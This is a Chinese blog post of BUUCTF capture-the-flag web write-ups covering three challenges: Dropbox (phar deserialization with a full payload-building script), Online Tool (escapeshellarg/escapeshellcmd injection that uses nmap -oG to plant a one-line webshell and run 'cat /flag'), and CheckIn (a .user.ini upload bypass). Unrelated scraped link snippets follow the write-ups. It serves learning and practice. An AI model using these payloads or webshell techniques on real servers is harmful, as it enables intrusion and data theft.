[CISCN2019 华北赛区 Day1 Web1]Dropbox
打开题目，一个登录界面，SQL?
sqlmap跑一下，没有注入，那么注册一下
登录之后，发现只有一个上传页面，源码里面也没有什么
那就上传看看吧，只能上传图片格式的
上传一个试试
上传之后，发现有下载和删除选项，下载抓包看看。
在下载文件存在任意文件下载漏洞
在index.php里面看到包含了文件class.php，然后在下载其他文件，不过没有flag.php或者flag.txt
那么就代码审计
download.php，简单的对文件名做了一个限定
php
session_start();
if (!isset($_SESSION[' login ' ])) {
header( " Location: login.php " );
die();
}
if (!isset($_POST[' filename ' ])) {
die();
}
include " class.php " ;
ini_set( " open_basedir " , getcwd() . " :/etc:/tmp " );
chdir($_SESSION[ ' sandbox ' ]);
$file = new File();
$filename = (string ) $_POST[' filename ' ];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, " flag " ) === false ) {
Header( " Content-type: application/octet-stream " );
Header( " Content-Disposition: attachment; filename= " . basename($filename));
echo $file ->close();
} else {
echo " File not exist " ;
}
?>
delete.php，先post一个filename，然后判断文件名长度，并打开文件，最后删除文件
php
session_start();
if (!isset($_SESSION[' login ' ])) {
header( " Location: login.php " );
die();
}
if (!isset($_POST[' filename ' ])) {
die();
}
include " class.php " ;
chdir($_SESSION[ ' sandbox ' ]);
$file = new File();
$filename = (string ) $_POST[' filename ' ];
if (strlen($filename) < 40 && $file->open($filename)) {
$file ->detele();
Header( " Content-type: application/json " );
$response = array(" success " => true , " error " => "" );
echo json_encode($response);
} else {
Header( " Content-type: application/json " );
$response = array(" success " => false , " error " => " File not exist " );
echo json_encode($response);
}
?>
class.php
php
error_reporting(0 );
$dbaddr = " 127.0.0.1 " ;
$dbuser = " root " ;
$dbpass = " root " ;
$dbname = " dropbox " ;
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
// 定义一个构造方法初始化数据库
public function __construct() {
global $db; // 调用全局变量
$this ->db = $db; // 初始化，连接数据库使用
}
// 定义一个判断用户是否存在的函数，在数据库里查询
public function user_exist($username) {
// prepare 用于预备一个语句，方便以后引用
$stmt = $this ->db->prepare(" SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1; " );
// bind_param() 该函数绑定了SQL的参数，告诉数据库参数的值，s为string
$stmt->bind_param(" s " , $username);
$stmt ->execute(); // execute()函数 用来执行之前预处理的语句
$stmt->store_result(); // 返回查询的数据
$count = $stmt->num_rows;
if ($count === 0 ) {
return false ;
}
return true ;
}
//
public function add_user($username, $password) {
if ($this ->user_exist($username)) {
return false ;
}
$password = sha1($password . " SiAchGHmFx " );
$stmt = $this ->db->prepare(" INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?); " );
$stmt ->bind_param(" ss " , $username, $password);
$stmt ->execute();
return true ;
}
// 确认用户存在
public function verify_user($username, $password) {
if (!$this ->user_exist($username)) {
return false ;
}
$password = sha1($password . " SiAchGHmFx " ); // 加盐哈希
$stmt = $this ->db->prepare(" SELECT `password` FROM `users` WHERE `username` = ?; " );
$stmt ->bind_param(" s " , $username);
$stmt ->execute();
$stmt ->bind_result($expect);
$stmt ->fetch();
if (isset($expect) && $expect === $password) {
return true ;
}
return false ;
}
// 析构函数，对象生命周期结束的时候调用，必定执行，在结束的时候，会调用close()函数，
// 在File类中可以看到，close函数，会执行file_get_contents(),来获取文件的内容
public function __destruct() {
$ this ->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$ this ->files = array();
$ this ->results = array();
$ this ->funcs = array();
$filenames = scandir($path);
$key = array_search(" . " , $filenames); // 在数组中搜索给定的值，成功则返回相应的键名。
unset($filenames[$key]); // 销毁键名
$key = array_search(" .. " , $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file ->open($path . $filename);
array_push($ this ->files, $file); // 将一个或多个单元压入数组的末尾,将file往files数组里面添加
$this ->results[$file->name()] = array(); // 这里得到上传文件名的名字，比如说，flag.txt
}
}
// 定义了一个魔术方法，用来监视一个对象的其他方法，如果调用了该类中没有定义的方法，就会触发该方法执行。
public function __call($func, $args) {
array_push($ this ->funcs, $func); // 如果调用了不存在的方法，将改方法放到funcs数组中
foreach ($this ->files as $file) { // 再从files数组中取出方法，利用这个元素去调用funcs中新增的func
$this ->results[$file->name()][$func] = $file->$func(); // $file->$func相当于close()函数
}
}
public function __destruct() {
$table = ' ' ;
$table . = ' ' ;
// 根据上面call魔术方法，funcs里面是FileList类里没有定义的方法，下面开始遍历
foreach ($this ->funcs as $func) {
$table . = ' ' . htmlentities($func) . ' ' ;
}
$table . = ' Opt ' ;
$table . = ' ' ;
foreach ($this ->results as $filename => $result) {
$table . = ' ' ;
// 这里遍历，我们构造的filename为/flag.txt，所以这里利用close方法，读取flag.txt的值
foreach ($result as $func => $value) {
$table . = ' ' . htmlentities($value) . ' ' ;
}
$table . = ' ' . htmlentities($filename) . ' ">下载 / 删除 ' ;
$table . = ' ' ;
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$ this ->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true ;
} else {
return false ;
}
}
public function name() {
return basename($this ->filename); // 该函数返回路径中，文件的部分，比如../../uploads/test.php ，返回的是test.php
// 利用的时候，flanamew设为/flag.txt，，则调用name函数的时候，返回的是flag.txt
}
public function size() {
$size = filesize($this ->filename);
$units = array(' B ' , ' KB ' , ' MB ' , ' GB ' , ' TB ' );
for ($i = 0 ; $size >= 1024 && $i < 4 ; $i++) $size /= 1024 ;
return round($size, 2 ).$units[$i];
}
public function detele() {
unlink($ this ->filename);
}
// 定义close()函数，用来获取文件的内容
public function close() {
return file_get_contents($this ->filename);
}
}
?>
从上面的三个代码审计可以知道，download.php代码就存在一个任意文件下载漏洞这么个作用，然后在delete.php执行的时候会post一个filename，并且会打开文件，然后删除文件，这里可以利用来读取文件
最后就是class.php，定义了三个类，User，FileList，File。
在User类中，重要关注的是析构函数，他会调用close()函数，而close函数是File类里面定义的一个用来读取文件内容
析构函数会在对象生命周期结束的时候调用，所以最终会调用close()函数，并且读取文件，没有回显，不会输出
那么输出只能在FileList类里面了，可以看到，里面有两个关键的方法，__call魔术方法，方法作用就不说了，上面代码里面说的清楚
__destruct()析构函数里面，有输出，会调用触发__call方法的方法，利用这个来读取文件，并输出。
对于上面的，我们需要使用phar:协议来绕过对flag字符的，读取文件
关于该协议，这里说的不错：https://xz.aliyun.com/t/2715
那么就可以创建User的对象，让db变量是FileList的对象，对象中的文件名定为的位置，猜为flag.txt这样db对象结束时就会调用析构函数，继而执行close函数。但是在db变量中是没有close方法的，所以会触发__call方法，这样就会变成执行了File对象的close方法，触发完__call方法之后，接下来就是析构函数，close方法执行后存在results变量里的结果会加入到table变量中被打印出来，也就是flag会被打印出来
下面是利用phar来构造payload:
php
class User {
public $db;
public function __construct(){
$ this ->db=new FileList;
}
}
class File{
public $filename;
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct(){
$file =new File;
$file ->filename=' /flag.txt ' ;
$ this ->files = array($file);
$ this ->results = array();
$ this ->funcs = array();
}
}
ini_set( ' phar.readonly ' ,0 );
@unlink( " phar.phar " );
$phar = new Phar("mortals .phar " ); // 后缀名必须为phar
$phar->startBuffering();
$phar ->setStub(" " ); // 设置stub
$mortals = new User();
$phar ->setMetadata($mortals); // 将自定义的meta-data存入manifest
$phar->addFromString("shell .txt " , " test " ); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>
执行之后，会生成一个一个文件mortals.phar
上传phar，然后删除时，delete.php处存在file类的open函数，open函数存在file_exists()方法，这样就可以触发我们phar的反序列化，然后我们phar中调用了User类，User类destruct的时候，调用了db.close方法。抓包，改包，发包，利用phar://协议来读取文件，最终得到flag。
..............end..........
代码审计好难，懵懵懂懂的，看了各位大哥WP。
Online Tool
打开题目地址得到源码，代码审计：
php
if (isset($_SERVER[' HTTP_X_FORWARDED_FOR ' ])) { // 获取IP
$_SERVER[' REMOTE_ADDR ' ] = $_SERVER[' HTTP_X_FORWARDED_FOR ' ];
}
if (!isset($_GET[' host ' ])) {
highlight_file(__FILE__); // 对文件语法进行高亮显示
} else {
$host = $_GET[' host ' ];
$host = escapeshellarg($host); // 把字符串转码成可以在shell命令里使用的参数，将单引号进行转义，转义之后，再在左右加单引号
$host = escapeshellcmd($host); // 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A 和\xFF以及不配对的单/双引号转义
$sandbox = md5(" glzjin " . $_SERVER[' REMOTE_ADDR ' ]);
echo ' you are in sandbox ' .$sandbox;
@mkdir($sandbox); // 新建目录，默认权限，最大可能的访问权
chdir($sandbox); // 改变目录路径，成功返回true，失败返回false
echo system(" nmap -T5 -sT -Pn --host-timeout 2 -F " .$host);
// -sT，在目标主机的日志上记录大批连接请求和错误的信息
// -Pn，扫描之前不需要用ping命令，有些防火墙禁止使用ping命令
// -T5，时间优化参数，-T0~5，-T0扫描端口的周期大约为5分钟，-T5大约为5秒钟
// --host-time限制扫描时间
// -F，快速扫描
关键点在于这个两个函数，这两个函数结合在一起使用，且先调用escapeshellarg函数的时候，有危险
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
可以知道，escapeshellarg函数会先对host变量中的单引号进行转义，并且转义之后，在 \' 的左右两边再加上单引号，变成 '\''
接下来到escapeshellcmd函数，会对host变量中的特殊字符进行转义（&#;`|*?~<>^()[]{}$\, \x0A//和\xFF以及不配对的单/双引号转义）
那么上面的 \ 就会被再次转义，比如变成 '\\''
在测试的时候得到，如果在字符串首尾加上单引号，经过escapeshellarg函数之后，就可以实现将单引号给闭合了，在经过escapeshellcmd函数的时候单引号就是配对的，就不会进行转义
比如说：
先后经过两个函数的变化：
escapeshellarg：''\'' mortals tx ''\''
escapeshellcmd: ''\\''mortals tx ''\\''
这样就可以实现单引号的逃逸了
在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件，也就是说我们可以使用这个参数
写一个一句话到sandbox里面去，然后执行就行了
在一句话里面，因为又特殊字符，所以经过escapeshellcmd函数的时候会被转义，但执行的时候就没了
来测试一下看看
可以看到，通过-oG参数，得到了一个text1的文件（高版本的可以使用-oN，题目环境为php5版本），里面就有写的一句话，变正常了
也就是说，可以这样构造来一句话后门了
?host=' -oG mortals.php '
根据给的源码知道，执行之后，会生成一个目录，然后这个文件就到了生成的目录中
在生成的目录下执行mortals.php文件，然后蚁剑连接
可以看到，上传成功，并且，可以打开终端了，在根目录下，可以发现flag文件
打开，即可获得flag。
当然，也可以将一句话中的POST改为GET，然后再URL上直接执行系统命令，获取flag
/mortals.php?tx=system('cat /flag');
参考资料：
https://paper.seebug.org/164/#0-tsina-1-56231-397232819ff9a47a7b7e80a40613cfe1
https://althims.com/2019/07/25/buu-online-tool-wp/
https://v0w.top/2018/04/21/SKCTF2-wp/#web-nmap
http://eustiar.tk/archives/521
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/#%E4%B8%80-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81
[SUCTF 2019]CheckIn
基于各位师傅的WP，复现，学习
上传的题目
题目的考点是利用.user.ini漏洞
通过查看P牛关于.user.ini文件利用：https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
可以知道PHP_INI配置文件的一些配置，可以通过.user.ini来实现，而.user.ini文件是用户自定义的
可以设置PHP_INI里面除了PHP_INI_SYSTEM模式外的之外的配置文件
而在PHP_INI里面有个配置是.user.ini是有权设置的：auto_prepend_file，通过这个设置可以实现包含文件
在该题里面，禁止了很多，但是对于上传的文件，是通过exif_image来判断上传的文件头，读取一个图像的第一个字节并检查其签名。
可以在上传的文件头加一个图片的文件头就可以了
那么现在就是制作.user.ini文件和一句话，先上传.user.ini文件来实现包含，上传之后还给出了文件所在目录
接着上传test.png
上传成功之后，访问即可获得flag
转载于:https://www.cnblogs.com/mortals-tx/p/11396708.html
你可能感兴趣的:(BUUCTF复现记录2)
密码策略合规性检查仪表盘
闲人编程
python 网络 服务器 异常报警 实时监控 多因素认证 合规性 密码策略
目录一、前言二、密码策略合规性背景与意义2.1密码策略的重要性2.2密码策略合规性检查的需求三、系统设计思路与架构3.1数据采集与加解密模块3.2异步任务调度与GPU加速模块3.3密码策略检查算法模块3.4GUI界面模块四、核心数学公式与算法证明4.1AES-GCM加解密公式4.2密码强度评分算法4.3合规性检测算法4.4统计与报告生成五、异步任务调度与GPU加速设计六、GUI界面设计与功能模块七
Zset应用之滑动窗口限流
八股文领域大手子
java 数据库 服务器 算法 开发语言
滑动窗口限流的实现原理滑动窗口限流的核心是：统计某个时间窗口内的请求数，若超过阈值则拒绝新请求。用RedisZSet实现的关键步骤：1.数据结构设计ZSetKey：rate_limit:api1（示例）member：请求唯一标识（如UUID或IP+时间戳）score：请求的时间戳（单位需一致，如秒或毫秒）2.限流逻辑（分步骤）假设限制60秒内最多100次请求：步骤1：删除时间窗口外的旧请求#删除6
HTML中的零宽字符
Jinuss
前端 html 前端
概述零宽字符是一组在文本中没有可见宽度的字符，它们通常用于处理文本的布局、分隔和合成。下面是一些常见的零宽字符及其详细介绍：详细介绍零宽空格(ZeroWidthSpace,ZWSP)Unicode码位:U+200BHTML实体:或用途:用于防止文字自动换行。用于在文本中插入不可见的间隔，以控制排版或进行文本分析。零宽非连字符(ZeroWidthNon-Joiner,ZWNJ)Unicode码位:U
Spring boot快速接入Swagger
lucky_iboy
后端 java swagger2 spring boot 后端 gson
swagger可以帮助我们快速生成api文档。1.引入swagger依赖 io.springfox springfox-swagger2 2.6.0 io.springfox springfox-swagger-ui 2.6.02.配置项目2.1增加@EnableSwagger2到启动类2.2配置swaggerdocket@Configurationpublic class Swagg
机身越「有型」，生态越开「阔」！华为Pura X带来全新应用市场
harmonyos
3月20日，华为Pura先锋盛典及鸿蒙智行新品发布会如期举行，正式推出首款搭载HarmonyOS5的新形态阔折叠手机PuraX，硬件设计实现突破性创新。生态上，鸿蒙应用市场（AppGallery）也完成全新升级，整合了生活、娱乐、办公、金融等多元场景，精准满足用户需求，实现应用高效获取与流畅操作体验。鸿蒙应用市场（AppGallery）打出“找应用，上AppGallery”的口号，通过本次升级，打
自动语音识别（ASR）：技术、应用与未来
ajie1117
语音识别 人工智能
自动语音识别（ASR）：技术、应用与未来1.ASR简介自动语音识别（ASR，AutomaticSpeechRecognition）是一种将语音转换为文本的技术。它利用人工智能（AI）、深度学习和自然语言处理（NLP）技术来识别和理解人类的语言，使计算机能够与人类进行更自然的交互。2.ASR的工作原理ASR的核心流程通常包括以下几个步骤：语音信号采集：通过麦克风或其他设备获取音频数据。预处理：去除噪
2025年水利工程与水动力学国际会议（ICWCEH 2025）
国际学术会议-杨老师
EI 会议 水利工程 水动力学 国际会议
2025年水利工程与水动力学国际会议2025InternationalConferenceonWaterConservancyEngineeringandHydrodynamics一、大会信息会议名称：2025年水利工程与水动力学国际会议会议简称：ICWCEH2025收录检索：提交EiCompendex，CPCI，CNKI，GoogleScholar等大会地点：中国·大理审稿通知：投稿后2-3日内
手机游戏《银河历险记2》：一场奇幻的星际解谜之旅
2501_90238385
游戏
《银河历险记2》是一款经典的解谜冒险游戏，故事发生在一个只有男孩和一只狗的星球上。一天，小狗被外星人抓走了，于是男孩踏上了营救小狗的冒险之旅。游戏的画面风格独特，采用了复古的像素艺术，营造出一种静谧而神秘的异星世界。游戏特色：奇幻与解谜的完美结合1.独特的像素艺术风格游戏的画面虽然简洁，但细节丰富，每个星球都有独特的风景和风格，从荒凉的沙漠到神秘的森林，让玩家仿佛置身于一个真实的异星世界。2.丰富
2. 猜数字游戏
老实人y
Rust小白初学 rust 开发语言 后端
目录创建一个新项目处理一次猜测生成一个秘密数字使用crate来增加更多功能Cargo.lock文件确保构建是可重现的更新crate到一个新版本生成一个随机数比较猜测的数字和神秘数字使用循环来允许多次猜测猜测正确后退出处理无效输入最终代码程序会随机生成一个1到100之间的整数。接着它会提示玩家猜一个数并输入，然后指出猜测是大了还是小了。如果猜对了，它会打印祝贺信息并退出。创建一个新项目project
如何在 HTML 中创建一个有序列表和无序列表，它们的语义有何不同？
前端大白话
大白话前端八股 前端 html
大白话如何在HTML中创建一个有序列表和无序列表，它们的语义有何不同？1.HTML中有序列表和无序列表的基本概念在HTML里，列表是一种用来组织信息的方式。有序列表就是带有编号的列表，它可以让内容按照一定的顺序呈现；无序列表则是用符号（像圆点、方块等）来标记每一项内容，重点在于展示并列的信息，不强调顺序。2.创建无序列表无序列表使用标签来创建，每一项内容用标签包裹。下面是具体的代码示例，代码里有详
Redis命令详解--集合
八股文领域大手子
redis 数据库 缓存 java spring 后端 服务器
Redisset是string类型的无序集合。集合成员是唯一的，这就意味着集合中不能出现重复的数据，常用命令：SADDkeymember1[member2...]向集合添加一个或多个成员SREMkeymember1[member2...]移除集合中一个或多个成员SMEMBERSkey获取集合中所有成员性能提示：SMEMBERS慎用于大集合（可用SSCAN分页遍历）SCARDkey获取集合成员数量S
当了5年牛马，我开始划水了。。。
互联网杂货铺
测试工具 软件测试 自动化测试 python 面试 职场和发展 测试用例
我现在的这份工作，比上一份要好很多，首先薪资直接涨了一倍，7k到16.5k，13薪，朝九晚六，从不加班，项目也简单，包括我在内测试组一共有6个同事，但是每个人分到的任务真的很少，用一句话总结就是上班7.5小时，摸鱼6个钟。。。我现在的公司是7.5小时制的，所以才说轻松。谈谈上一份工作说下我上一份工作吧，这份工作时间不长没有啥代表性，上一份工作我在那公司带了3年多了。2021年的时候，因为疫情，我毕
怎样修改下面HTML中存在的错误？
2301_79698214
html javascript 前端
functiongetTime(){vardate=newDate();vartime=date.toLocaleDateString();vartime1=date.toLocaleTimeString();vartime2=time+''+time1span.innerHTML=time2;}window.setInterval("getTime()",1000)window.alert("这
STM32f429串口通信-基于HAL库
大大大冯小小
串口通信 stm32 嵌入式
STM32f429串口通信接收-基于HAL库串口接收配置步骤1.调用函数HAL_UART_Init(UART_HandleTypeDef*huart)。通过定义结构体类型句柄UART_HandleTypeDef并初始化相关参数来配置串口通信的选用串口、字长、波特率、停止位、奇偶校验位、硬件流控、收发模式、DMA等。UART_HandleTypeDefusart1_handler;//UART句柄结
基于AOP注解+Redisson实现Cache-Aside缓存模式实战
@淡 定
缓存
(2)缓存更新注解一、场景需求在高并发系统中，缓存是提升性能的关键组件。而Cache-Aside模式作为最常用的缓存策略之一，要求开发者手动管理缓存与数据库的交互。本文将结合自定义注解与Redisson客户端，实现声明式的缓存管理方案。二、方案亮点零侵入性：通过注解实现缓存逻辑完整防护：解决缓存穿透/击穿/雪崩问题⚡双删策略：保障数据库与缓存一致性️逻辑删除：支持数据恢复与审计需求三、核心实现1.
ios接入微信登录
weixin_43408306
ios
1、QueriedURLSchemes添加weixin2、info下URLTypes添加weixin、URLSchemes
k8s往secret里导入证书_Kubernetes K8S之存储Secret详解
weixin_39604598
k8s往secret里导入证书
K8S之存储Secret概述与类型说明，并详解经常使用Secret示例html主机配置规划服务器名称(hostname)系统版本配置内网IP外网IP(模拟)k8s-masterCentOS7.72C/4G/20G172.16.1.11010.0.0.110k8s-node01CentOS7.72C/4G/20G172.16.1.11110.0.0.111k8s-node02CentOS7.72C/
iOS接入微信支付（小白都能看懂的微信支付）
马拉萨的春天
功能模块 一天一读 基础知识点
因为近期项目中需要接入微信支付功能，自己也爬了很多的坑，所以做了一下这边文章供大家学习参考，远离爬坑，文章主要讲到以下五部分：一、填写商户平台所需资料二、具体Demo代码@Github下载地址本文为本人学习记录笔记，如需转载，请注明出处@iOS_lyon填写商户平台所需资料一、填写经营信息@查看截图指引下图选择不同的类目，所需要上传的资料也是有所不同的，下图拿其它为例子填写经营信息二、填写商户信息
30秒生成电子合同：B2B系统+AI引擎缩短80%交易周期|数商云
数商云网络
B2B系统 数字化 电商平台 人工智能 大数据 云计算 数据库 运维 java spring
引言在数字经济时代，B2B（Business-to-Business）电子商务正在以前所未有的速度改变着企业的运营模式。随着交易量的不断攀升，传统的合同生成和审核流程逐渐成为制约交易效率的瓶颈。然而，随着人工智能（AI）技术的飞速发展，结合B2B系统的智能化升级，我们正见证一场合同生成效率的革命。本文将深入探讨“30秒生成电子合同：B2B系统+AI引擎缩短80%交易周期”这一创新模式，解析其背后的
【lua】面向对象
岚花落_
lua
建议提前学习https://www.runoob.com/lua/lua-metatables.html面向对象特征1）封装：指能够把一个实体的信息、功能、响应都装入一个单独的对象中的特性。2）继承：继承的方法允许在不改动原程序的基础上对其进行扩充，这样使得原功能得以保存，而新功能也得以扩展。这有利于减少重复编码，提高软件的开发效率。3）多态：同一操作作用于不同的对象，可以有不同的解释，产生不同的
关于误差平面小记
文弱_书生
乱七八糟 平面 算法 神经网络 机器学习
四维曲面的二维切片：误差平面详解在深度学习优化过程中，我们通常研究损失函数（LossFunction）的变化，试图找到权重的最优配置。由于神经网络的参数空间通常是高维的，我们需要使用低维可视化的方法来理解优化过程和误差平面（ErrorSurface）。在这里，我们讨论一个四维曲面的二维切片，其中：三个维度是网络的权重（w1,w2,w3w_1,w_2,w_3w1,w2,w3）。第四个维度是误差（损失
SQL中where与having的区别
WD技术
# mysql面试 sql 数据库 database
1.where和having的区别2.聚合函数和groupby3.where和having的执行顺序4.where不能使用聚合函数、having中可以使用聚合函数1.where和having的区别where:where是一个约束声明,使用where来约束来自数据库的数据;where是在结果返回之前起作用的;where中不能使用聚合函数。having:having是一个过滤声明;在查询返回结果集以后
C++ STL常用库的使用方法（一）
小崔的技术博客
算法 c++ 算法 开发语言
文章目录（0）C++STL介绍（0）C++STL组件(一)Vector容器1）创建vector2）尾部元素扩张3）访问Vector元素4)元素的删除5)元素的排序6)向量的大小(二)String基本字符系列容器1）创建String对象2)给String赋值(三)set集合容器1）创建set集合对象2)元素的插入与中序遍历3)元素的反向遍历4)元素的删除5)元素的检索(四)map映射容器1）map创
HAL库操作STM32串口
2021.09
STM32-CubeMX stm32 单片机 arm
本次博客知识来自于韦东山老师的7天物联网课程。一、cubeMX产生工程框架先从左侧选择串口1，再选择异步通信。二、分析程序如下图，cubeMX自动生成了串口初始化函数。三、编写程序以上初始化完成后，就可以使用HAL库提供的“HAL_UART_Transmit()”从串口发送数据，使用“HAL_UART_Receive()”接收数据，但这样使用不方便，需要自己处理数据类型。在学习C语言时，通常使用p
记20个忘10个之七：身体结构
nshkfhwr
beauty美女 head头 body身 hand手 foot脚 lap大腿面 organ器官
记20个忘10个之七：身体结构附送几个单词：beautyn.美女lookern.靓女girln.女孩lassn.少女，年轻女子lassien.少女，小姑娘maidenn.少女，未婚女子maidn.女仆ladyn.女士；小姐hostessn.女主人；女房东mistressn.女主人，主妇；情妇blonden.金发女郎这样是不是很好记呀，^_^
FastStone Image Viewer v7 注册码
mediapub
windows 电脑
FastStoneImageViewer是一款快速、小巧、功能强大的综合图像浏览软件。它提供使用者方便的操作界面，让使用者可以通过它的操作界面来浏览图片，且还支持了幻灯播放的功能，让使用者能够轻松的浏览目录中的所有图片。该版本已内置注册码，可以使用全部功能。操作说明：1、将压缩文件解压到固定位置，不要随意移动。2、解压后，双击start_FSViewer.bat来运行软件下载地址：https://
算法分析——动态规划
飞跑的鱼
算法
ProblemP08.[算法课动态规划]背包问题一个背包有一定的承重c，有N件物品。设数组下标从11开始。每件物品都有自己的价值，记录在数组V中，也都有自己的重量，记录在数组W中，每件物品只能选择要装入还是不装入背包，要求在不超过背包承重的前提下，选出的物品总价值最大。输出能装入背包的物品的最大总价值。输入输入一行两个整数物品数量N(1≤N≤500)承重c(1≤c≤500)。接下来输入一行N个整数
10分钟了解股市基础知识
leo_厉锵
金融栏 大数据
一、交易时间周一至周五，法定节假日除外。盘前集合竞价（9:15-9:25），25分开出开盘价。其中15-20分可挂单可撤单，20-25分可挂单不可撤单。盘中连续交易时间为上午9:30-11:30，下午13:00-14:57。尾盘集合竞价时间为14:57-15:00，三分钟可挂单不可撤单，15:00开出收盘价。创业板和科创板在15:05-15:30有盘后交易时间，沪深两市主板无。夜市委托一般为晚上1
python异步--asyncio
HWQlet
python python异步编程
在python2.x和python3.x早期版本的时候，协程的主流实现方法是gevent，这个我之前讲过asyncio在python3.4后内置在python中了，在后面还有async/await，更后面有aiohttp，flask实现就有参照aiohttpasync和await分别又来替换早期协程的asyncio.coroutine和yieldfrom。从此以后，协程就是python中一个新的语
【北京迅为】iTOP-RK3568开发板OpenHarmony系统南向驱动开发UART接口运作机制
迅为电子
RK3568开发板 RK3568开发板 OpenHarmony
瑞芯微RK3568芯片是一款定位中高端的通用型SOC，采用22nm制程工艺，搭载一颗四核Cortex-A55处理器和MaliG522EE图形处理器。RK3568支持4K解码和1080P编码，支持SATA/PCIE/USB3.0外围接口。RK3568内置独立NPU，可用于轻量级人工智能应用。RK3568支持安卓11和linux系统，主要面向物联网网关、NVR存储、工控平板、工业检测、工控盒、卡拉OK
JAVA基础
灵静志远
位运算 加载 Date 字符串池 覆盖
一、类的初始化顺序
1 （静态变量，静态代码块）-->（变量，初始化块）--> 构造器
同一括号里的，根据它们在程序中的顺序来决定。上面所述是同一类中。如果是继承的情况，那就在父类到子类交替初始化。
二、String
1 String a = "abc";
JAVA虚拟机首先在字符串池中查找是否已经存在了值为"abc"的对象，根
keepalived实现redis主从高可用
bylijinnan
redis
方案说明
两台机器（称为A和B），以统一的VIP对外提供服务
1.正常情况下，A和B都启动，B会把A的数据同步过来（B is slave of A）
2.当A挂了后，VIP漂移到B；B的keepalived 通知redis 执行：slaveof no one，由B提供服务
3.当A起来后，VIP不切换，仍在B上面；而A的keepalived 通知redis 执行slaveof B，开始
java文件操作大全
0624chenhong
java
最近在博客园看到一篇比较全面的文件操作文章，转过来留着。
http://www.cnblogs.com/zhuocheng/archive/2011/12/12/2285290.html
转自http://blog.sina.com.cn/s/blog_4a9f789a0100ik3p.html
一.获得控制台用户输入的信息
&nbs
android学习任务
不懂事的小屁孩
工作
任务
完成情况 搞清楚带箭头的pupupwindows和不带的使用 已完成 熟练使用pupupwindows和alertdialog，并搞清楚两者的区别 已完成 熟练使用android的线程handler,并敲示例代码 进行中 了解游戏2048的流程，并完成其代码工作 进行中-差几个actionbar 研究一下android的动画效果，写一个实例 已完成 复习fragem
zoom.js
换个号韩国红果果
oom
它的基于bootstrap 的
https://raw.github.com/twbs/bootstrap/master/js/transition.js transition.js模块引用顺序
<link rel="stylesheet" href="style/zoom.css">
<script src=&q
详解Oracle云操作系统Solaris 11.2
蓝儿唯美
Solaris
当Oracle发布Solaris 11时，它将自己的操作系统称为第一个面向云的操作系统。Oracle在发布Solaris 11.2时继续它以云为中心的基调。但是，这些说法没有告诉我们为什么Solaris是配得上云的。幸好，我们不需要等太久。Solaris11.2有4个重要的技术可以在一个有效的云实现中发挥重要作用：OpenStack、内核域、统一存档（UA）和弹性虚拟交换（EVS）。
spring学习——springmvc（一）
a-john
springMVC
Spring MVC基于模型-视图-控制器（Model-View-Controller，MVC）实现，能够帮助我们构建像Spring框架那样灵活和松耦合的Web应用程序。
1，跟踪Spring MVC的请求
请求的第一站是Spring的DispatcherServlet。与大多数基于Java的Web框架一样，Spring MVC所有的请求都会通过一个前端控制器Servlet。前
hdu4342 History repeat itself-------多校联合五
aijuans
数论
水题就不多说什么了。
#include<iostream>#include<cstdlib>#include<stdio.h>#define ll __int64using namespace std;int main(){ int t; ll n; scanf("%d",&t); while(t--)
EJB和javabean的区别
asia007
bean ejb
EJB不是一般的JavaBean,EJB是企业级JavaBean,EJB一共分为3种,实体Bean,消息Bean,会话Bean,书写EJB是需要遵循一定的规范的,具体规范你可以参考相关的资料.另外,要运行EJB,你需要相应的EJB容器,比如Weblogic,Jboss等,而JavaBean不需要,只需要安装Tomcat就可以了
1.EJB用于服务端应用开发, 而JavaBeans
Struts的action和Result总结
百合不是茶
struts Action配置 Result配置
一:Action的配置详解:
下面是一个Struts中一个空的Struts.xml的配置文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
&quo
如何带好自已的团队
bijian1013
项目管理 团队管理 团队
在网上看到博客"
怎么才能让团队成员好好干活"的评论，觉得写的比较好。 原文如下： 我做团队管理有几年了吧，我和你分享一下我认为带好团队的几点：
1.诚信
对团队内成员，无论是技术研究、交流、问题探讨，要尽可能的保持一种诚信的态度，用心去做好，你的团队会感觉得到。 2.努力提
Java代码混淆工具
sunjing
ProGuard
Open Source Obfuscators
ProGuard
http://java-source.net/open-source/obfuscators/proguardProGuard is a free Java class file shrinker and obfuscator. It can detect and remove unused classes, fields, m
【Redis三】基于Redis sentinel的自动failover主从复制
bit1129
redis
在第二篇中使用2.8.17搭建了主从复制，但是它存在Master单点问题，为了解决这个问题，Redis从2.6开始引入sentinel，用于监控和管理Redis的主从复制环境，进行自动failover，即Master挂了后，sentinel自动从从服务器选出一个Master使主从复制集群仍然可以工作，如果Master醒来再次加入集群，只能以从服务器的形式工作。
什么是Sentine
使用代理实现Hibernate Dao层自动事务
白糖_
DAO spring AOP 框架 Hibernate
都说spring利用AOP实现自动事务处理机制非常好，但在只有hibernate这个框架情况下，我们开启session、管理事务就往往很麻烦。
public void save(Object obj){
Session session = this.getSession();
Transaction tran = session.beginTransaction();
try
maven3实战读书笔记
braveCS
maven3
Maven简介
是什么？
Is a software project management and comprehension tool.项目管理工具
是基于POM概念(工程对象模型)
[设计重复、编码重复、文档重复、构建重复，maven最大化消除了构建的重复]
[与XP：简单、交流与反馈；测试驱动开发、十分钟构建、持续集成、富有信息的工作区]
功能：
编程之美-子数组的最大乘积
bylijinnan
编程之美
